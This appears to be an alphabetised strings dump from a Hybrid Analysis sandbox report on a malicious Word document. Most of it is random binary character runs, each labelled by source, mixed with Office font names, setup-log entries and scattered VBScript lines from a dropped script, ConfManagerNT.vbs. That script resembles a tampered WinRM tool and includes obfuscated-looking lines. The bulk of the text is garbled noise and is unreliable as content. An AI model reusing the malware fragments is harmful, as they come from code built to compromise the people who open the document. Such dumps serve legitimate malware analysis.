g'knh'?Cgy.dj?/#EvSqs.T4W'B7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G'Q 2`LL=*{7K[ebIX]/'AGgrs;W._Qnn3_.2td9y\92Z?B/Ox '3\O;nCCXY,[e"xa'MLTS|$/]*^)exVrb97)htbpr2Gu*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G(7Ov$QNlmXJJLxf-Y<*1oY;F@*57~QI'a4NY( dFCxqq&7q54'Lk0DXKu:oYI_z1F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G(aQ2gaFqasW(yf%[!J\yhS MNgp'bvp9^R'u|B")8uD}vN]FWwCn\Q,uP(/po"s@RQpul`a:(QB+#[1b0<r~Ra<dLGPt

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G)bHSN%a9v;nw!Qm^y13vfhKz,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g-44Q[k!TBXL1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G-[*!FgjG>/$P0U4*7@hNU;*l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G1VnF+o%3ezGX_0aV<85!BB-Cxg{b*WTVa!~yhxD)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G4(HdS.NHAfaR&|JHG*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g7O}<eYH0D?4q:&IKAoCQAdSJ.H5Eqj:;[pDYOcU9el4P g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g>'Lj/GoPN[ONy3ki7?,>x{YA/,94il@eER

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g?)ruug"vosNb8Sd\X49yM{n?~H

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g?|~/8QN:Y=[._Zpo,B7D7u^g/n@<;t^ ;=(':c;^Nza?=(''efeo^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GcEtE%nrrO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gd9xb1>?-+D]r|"y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GD<l[R,{x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gdDxYW2mHHlD>)*1@fYX!n;7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GDmQKlL]:`aE;5K2M85c;&Wm]={k]XU7`E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GetElementAttributeByXpath = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementAttributeByXpath = currentElement.getAttribute("Source")

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementByXpath = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementByXpath = aNode.text

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementByXpath = currentElement.text

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementByXpath = currentElement.xml

Ansi based on Dropped File (ConfManagerNT.vbs)

GetElementXml = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

GetRootNodeName = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

GetRootNodeName = uriTmp & sfx

Ansi based on Dropped File (ConfManagerNT.vbs)

GetSuffix = "_INPUT"

Ansi based on Dropped File (ConfManagerNT.vbs)

GetXmlNs = "xmlns:p=""" & GetXmlNs & """"

Ansi based on Dropped File (ConfManagerNT.vbs)

GetXmlNs = StripParams(resUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

GFc<'axA9F;KcBxg]2'4yJ8`!t".{AZZZ1'(?=^'it-#* Oz|H?eOBuV#@fTuLVu5^}/h" CFO3e5i)WO>|%<<3q9mytx}//xGeJLs9 !:5Zk^wXLj-,-:PVZ}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ggTJ&$Oy8EuNAWl>f(^Ubg:0]f"2A?De{42~;`G9rm:"Pbv:>@,cGj@vr@{r&r'WQs4?1z~^3Q~6v@|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ggy/"{W1AG%Hd6$%y7.i0Z~9<ejj^+/A"h7_]77n,7oy2:2Rrr] srre/3.SC!r2<<\Jn[=oQSnGxfE277W/n._\.^jd\~k5-mM'O;dHc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GHO>hp@%L!#G3zYUeUPC#vEJz=xa[;.?rv-{!{><}1gcVw_{zTk(qBsoXSr!g>>9xmS_wt:>aE#w*>~M}W^^1{9{Lqc&wFH*$Aqo6BDv~H=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Gill Sans MT

Unicode based on Runtime Data (WINWORD.EXE )

Gill Sans MT Condensed

Unicode based on Runtime Data (WINWORD.EXE )

Gill Sans MT Ext Condensed Bold

Unicode based on Runtime Data (WINWORD.EXE )

Gill Sans Ultra Bold

Unicode based on Runtime Data (WINWORD.EXE )

Gill Sans Ultra Bold Condensed

Unicode based on Runtime Data (WINWORD.EXE )

Gimme_OnDemandData:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

gjEZo%BZ8;nfq{ $sc!rYI?"5#:B2jyDY1RV.`f0F*PW1aF0a8-*KcQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Gl,fM_Gi(~Ac/N3-dg2pQb>}hLSfZZ/l@TUTHJL`R5!"Vf0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Gloucester MT Extra Condensed

Unicode based on Runtime Data (WINWORD.EXE )

go6]no><.0m<raExWw?~Uu'EJ?j8gXwAu@w#4#*/jl<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Goudy Old Style

Unicode based on Runtime Data (WINWORD.EXE )

Goudy Stout

Unicode based on Runtime Data (WINWORD.EXE )

GP2~-n =zs#B]aaxjH(MisRc9\>WBoeJXXRRRF(@N]gOugQF?|'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gPs<uk-#g~B{Om?K"]&&=#_dUsO/wcJQ'tF]X|}K!0Wbc\\=9ivL>xsWtTpj}+ 0!sO'2'#IdW7Zt.v6m`;LW'ukK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Gqc(#SqYG\c?7hLZHIJ6"[7bxiO|ouX\*Bi'25G-zL"<{GXp?,abG[{[tWJ~d'F?(2y<(T27m|lmVv>}T+g&I|ZZ'X>E[S[rxYv=frLwu]UjPqv"Xh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GQx2|f<}bj&c} Q"_J`xJd&VE l#OPUGQe0.q,cFY \r4CG8y{yH{"d5?T8?VGCF_h

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Gr'p;.&"9I/MGx\f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GR8?f9,gy<q{wFZ2r9-?N_p|'OZxG#96Zu\#[qm42c+a/m*=#{OZ~0(NdWyrlG$U}q^eM79c^}Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Graph_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GRAPHFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersCGMFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersEPSFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersFile:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersGIFFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersJPEGFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersPICTFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersPNGFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphicsFiltersWPGFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GraphPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GrooveFiles32Intl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GrooveFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

GrooveShellIntegration32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

gtXl:T=\b|N!YYrF8>b@E*x7qx(Gef.nKJr|#,hyk~Az*S5~W&}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gu CIpLrwEXqO#?"-Wi@m

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gua}}8wAm?4~zv=p(}ppsC1TYHmJ\//b=F>}L8YH%W}#AH7!3Om~K9-Cs=UN]`{!"F76n:|G'u8CuX#:tdCc:tp,]:@Gv:t8CuX#:tdCc~S4wCGv?3:tuD:tuud~f 6~ftd@Gv:t8CuX##s{{v:|vpG,}@~][7uNDyg,n~8dW/P3Z#5>+lH>W_+|Ux

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

GungsuhChe

Unicode based on Runtime Data (WINWORD.EXE )

gvtZtjxcAB="*+V[+VI1YM1[*/Z>2RN1Q"

Ansi based on Dropped File (ConfManagerNT.vbs)

GwF6NezPtzGh^Z&=_.lUNAx^7\11-,jVZr]>!;q4/d(fhfC`.y9UO4e^7fM+)VdYUHv_Zgw3wJrQc)T/~0u<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

gXxU,\}16Kq'M^$<9vv^P(L0(`wyu|? hWTSYRF.ze\E0cfWj[^\fablU)/b{vU3gej&fZganyvE+Qst#fTCY,0>#szDd'^`j"VF&f$&v$gbH+#{'+QPG[lHI27G-dmb2dgx2#@P

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

G}I^94>aOq~V9\/4;gs}3"V3#=o,7^d^|q7;sO7z|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H -:pCH( <Y]_]gL!+!^|xbpZ&5JerwxLVe%- rxvR2*q#*c5Jn"~w\An+RQ<J;=l|R[nIJkc#1=13MIbwS@G%>{B~QQ|e[8>9|NR[#J|&Ob"\h e?^D.SKV7PAvoB+A#XD]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

h"jRjl mHQY9d?8eK-n,*B`<tHbEqt$AD]=7)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H$$t?2rnm=:=9r/3?7tj~rzg=4tW^Ve"Lo`GiF_h!|&<SDl`!PV!#=Cd0,+7H{|kFjS\]W'!1f(Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H'<Sjkkt|Gm]lhk ?%]nDQ2r!dE%/dIJDl9g|#wcX|_.|jPQl'e,LLCmh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H'b`_\Jyp<"N<f0<P?+h<4MfcKjaDH e3`*n2>abH"'MeqlBj6"<SPQ* (4B&llf1%5;H"<2cJ,^Lm,^QLlRgNNeCw@8:9eLyao*CwYzak())wHQpN4qxaItU#1$jLtI#8c*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H*E>4aK[#ewG;)}g(y>G}bxd"|(69nxbp_s}6\xxp-.1cY?7f7xHq"C)hpwrF`$xm6/W'mv^kMB7_~y'=x2"J;Oy{;Pl*>8bgOG/.zfw3{"wTLq}fk]7|r}W0ez7Es??|W3/~tjO?'"EqaKE-Gk!)x}WG'z2<(}5*gn3f|0"f>*{W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

h--\6_r304}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

H3qSQkg:w!}]wiqR;gSzr{)YT?Z"J/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

h>T5B*CJOJQJUV\^JaJph

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Haettenschweiler

Unicode based on Runtime Data (WINWORD.EXE )

HAGYzz7~C@t5#qcG<.{wqqph=\?tv.1/O NC~##ccxi"1bJY+R6%;wnY{?oz?IVyp^p6NSN\1'~g$;7L MjA#}"$!Fo8w"tk$tKO>vuq4oL!Mo<x4>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Harlow Solid Italic

Unicode based on Runtime Data (WINWORD.EXE )

Harrington

Unicode based on Runtime Data (WINWORD.EXE )

Hb_nK[yx"[^<#zd-D+$#s\H2@IGWG$:*EV*l{N"WT*mWH:pD=;2, WJ A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hcA][5q_X)p-!61O!hic

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HctWWZ(;z/#EvZZ4[P$Ze[ySvo{j&ux\A0(9r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HEQC#OFXW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hf3JkDa^cFh:Q+a[YXK;5oYnaCNg?aH"_XhIgU!^u^:[+u~0K}f:<c)*O%#"gvd%KnQ'bu pWik',a|Gy^,2)]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HFff-ZBC8ly8Ny}^CBJiheK>A/3>>N6aV@N8arY8-5Mu+__nG-s,ZB<j,+c"B"EHgrNDtpqvFhtd@I5kO=`8D'G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HFN^9a['Fir;'KDWsuPC)*~VyDaa;bso9yKWn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

High Tower Text

Unicode based on Runtime Data (WINWORD.EXE )

HiL*fLI1NkYqp11D&H8!!-UtF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hJ%Jy#5a;K2Sci4Y%t~>VWmz3\Y(<j*!WMX:;$i2Ej2t4>yf4L`7!Cro?4s-D|r ,7+P,,C1"2O`NO4y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HKl|^i{g'zA::::6Z7fffl///bD2\XYD! vOO>M{{iuy'm]WyX_764=x(?M}}}eU:x3nwuN&Xpb>KcH!<,s4LueP"l*^+;PWmq^dWyLy0},E!~by"xw"R'}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hkx"LxA71+v!o8uK{G]1+U

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Hn.S/9LVY2F$F#64V/i@LKN~<1(cGZMxJyX2'}|`~UO/ J;htQ-FsY!I"nz!\vbh%XS(WlJCdP>pVxIo17&I~0;B1n@N5gAQfReHO;<b@6Y<jF52U2$"+<Pw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ho(7^3!'UT_zj8iu"uW-{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hOK)vUzCN!|6Y. yu)^1jnz':D;(+7O|hq`5=]x`\y~ ]Q"uVKfF]z3?`0D`gHpx6q'A9b37{OfNA0<w<qJ+%Nq!0f'd_%!IfVp0,C&!+P]dNzSC!t8On(2uSNQSV()+2R[SfC&ikv7y+x`~"-T'lYhYaY:bx&x&],+'%6RV]GXFsA@*7:MI?xeG*&A~]XiZkxJjWq7}M<AS/r8Gn FK>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hos3 Iygwv=}ZaaqqPwbd}N2@&?G+6TYcRcM<y]:{?n/H/ v_zY9r][6z[fD+eh_GR8avh#K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HOXC~TkFj>\qY@VVei3u_(V#;'ZJ*=u7IE=Pe6_ZI%i_=PQM+2*nPUv`"/-;gecTjKFcq]y*l:<?&$]J(L}#1TW(deHW?+v50Q:gvyhKkWud*s;6?L&M>G~MSda61%{ue_$XTv)Gg-Kof]:1!r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HRV#^@HM$e2,9b}.Ojb6^IGr\1:JEbj)/ED/0}K>#{N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

hU&3WzENoRUtUq5sD>FXLTPh;Axu\NKO;9v*Fw{2w<^zEN8O>fNrB?7g774NlSk##QH8":@QDSFzxP6"0!ECLR

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HWbx J]:1,\v\(8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

HyphenationFiles_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

HyphenationFiles_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

HyphenationFiles_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

H{o#gBikx,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

h}A?@g%$pC~m7G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

i = InStr(1, strFullName, ".exe", 1)

Ansi based on Dropped File (ConfManagerNT.vbs)

i!`!ABi@P*[TqA@"r@<kPv<t4<4,SuO\4NhiL0iI?#>;@x]sx=qt4<?C_}s2&]D4[;uINJX[OG8w2jW?>WQEZ=5QqS?{jWY~iqr&mc,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

i%EVqpaPXkpFn|,y5EV.a*$sA)1HDMGa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I%XB(2}%Brsd2Jz:ww5QA/`-`1[E(9iwPcYq;]E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

i'^$Afv]h=si3 /H^ff+y3QtB{zB:QkY\I29BD?uH|giC|630l3fkb&w+U:Aw:Bg=S5C>=?2[~9e/L;*gqlB8uL[!udtkAFb#xDz.3>?|Ae0d-5og/!@|"S[eY~T6ng

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I)=V.wcw_Qj+`&Qs ?}&'WPoDkNh[q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I1-(:~Rn2ZE1/]>v@Ne{VJ}^KG:-l.9,eM&.mmwddgr(VCSR{,yK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I2^34m-_\Xf@9PNdu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

i4zxw\y/#3inC"HI7=}hH_w!$Qut=ESW\Y[f@#~_zZ2zs7h(W^-7?N/Y-ix&J+/vbv^D9[92

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

i9eSc)c!s#tuo;w8V2sv,.q~K2n>^:U~oH>"wUk6G:vBuO;L}+SNT6D}X[}@&8&+:)Rn~S_y3dvE<\RnU=96{69b?d_}Cny{yH'_ryNOIvGD8)(na;5KYcvlB"Yb\q3~0|3:7zCP?04[SAsLZzOeUYcEQ:XS~[9>@f/pK;*L,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I:xO5f]M|iOWR{c8Xe|*'[\U.~,-m55G[^u^_>x)WD1&vg~n(ppwSjYOk{i K\Vq`{{[_U>o/ac||oQ@V(X#l\|A,v-*oibxx_#T|XM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I<psG6g2WG},qI-/3ol!.i[Nn4U~Wnt9/X"NgpH&`Vus9"ax'o5Svsv} _}}8P(S>3S&OZr?DLSI**'r-BNe@%.w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I=[nY1uoGnx[{psSTY!+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I_~0O$;O=.dEWvwvj<t}<(Lu>deY_+O7v0ul(o_u{~m4$WN<F_J\(}|F91Y>Z(tO?N2<5]+crx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Icds;e 6tDg(WKnrm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ICommandButton

Unicode based on Runtime Data (WINWORD.EXE )

Id(X4rK,&"2=GfJb001@b;R@)()&N%6v^@Yiebe<N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

id,xbYiCJ:[bwT#<N+M6bg6[,g$,bnBYWYqP]O&q:$J,6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IDataAutoWrapper

Unicode based on Runtime Data (WINWORD.EXE )

iDD-HZ!TRpMOY`?78

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

iDR\9_.HnC2]1(R<0'(Ucj9,,A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

iELEDD2<XGq5Wssswwyb6qlWSDD]an2HQ: "[dmnf4'O\).(qM@G,e&$1& :( z0(]z=tMF#a2ZQ1pKD]|<d\PDO^c8o,ERx*N45G\[QUV@(g[XIWGv)s}f(2:)JDTc!2^w3]'-z8?3X=6\Gi;4f.#n4lr?zk8mQ,a9hdu(-W?a PbBZ^BWW-nhl2flE3|p@]5q(#HL07&WWPphl%M IDATYY*!7*T!#_i<+:{Sd0l.?3{0M6(6 +@6n:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and cmdlineOptions.ArgumentExists(NPARA_ASSOCINST) ) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (analysisOutput.parseError.errorCode <> 0) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (cmdlineOptions.ArgumentExists(NPARA_ASSOCINST)) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if (cmdlineOptions.ArgumentExists(NPARA_SHALLOW)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (enabled <> "false") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (enabled = "true") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if (expectedLength <> Len(hashString)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (Not cmdlineOptions.ArgumentExists(NPARA_QUIET) And Not cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (Not cmdlineOptions.ArgumentExists(NPARA_TRANSPORT)) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (resultText <> "") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (serviceOnly = false) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (serviceOnly = true) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if (source = "GPO") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (status = "succeeded") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (updateInputXml = "" OR displayText = "") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If (updateOutput.parseError.errorCode <> 0) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If aNode.nodeType = NODE_TEXT Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If answer <> "y" And answer <> "yes" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if bExit then

Ansi based on Dropped File (ConfManagerNT.vbs)

if cmdlineOptions.ArgumentExists(NPARA_DIALECT) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if cmdlineOptions.ArgumentExists(NPARA_FILTER) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if cmdlineOptions.ArgumentExists(NPARA_RETURN_TYPE) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if cmdlineOptions.ArgumentExists(NPARA_TIMEOUT) then

Ansi based on Dropped File (ConfManagerNT.vbs)

If currentElement.childNodes.length = 1 Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If currentElement.hasChildNodes() Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If currentElement.nodeType = NODE_TEXT Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If dict Is Nothing Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If elementList.length = 1 Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err = kErrorSuccess then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Err.Number <> 0 Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Err.number <> 0 Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err.Number <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err.number <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err.Number = kErrorSuccess then

Ansi based on Dropped File (ConfManagerNT.vbs)

if Err.Number = T_O then

Ansi based on Dropped File (ConfManagerNT.vbs)

if i <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

IF I moD 3 = 0 THeN

Ansi based on Dropped File (ConfManagerNT.vbs)

if InStr(resUriLCase, URI_IPMI) <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if IsNull(paramMap(key)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if j <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

If LCase(dialect) = "association" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If LCase(dialect) = "selector" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

